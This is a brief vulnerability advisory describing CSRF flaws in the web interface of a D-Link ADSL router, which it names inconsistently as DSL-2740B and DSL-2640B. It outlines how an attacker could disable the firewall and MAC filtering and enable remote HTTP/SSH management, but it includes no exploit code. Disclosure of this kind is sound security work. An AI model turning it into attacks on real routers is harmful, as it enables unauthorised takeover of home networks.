1) Introduction

D-Link DSL-2740B is an ADSL Router using, also, a web management interface in order to set and change device parameters.


2) Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router
parameters and to perform many modifications to the router's parameters. The default ip adress of this adsl router, used for
management purpose, is 192.168.1.1.
In my Advisory I'll describe only how to carry out the following changes:
- Disable/Enable Wireless MAc Address Filter
- Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
- Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -).
Many other changes can be performed.
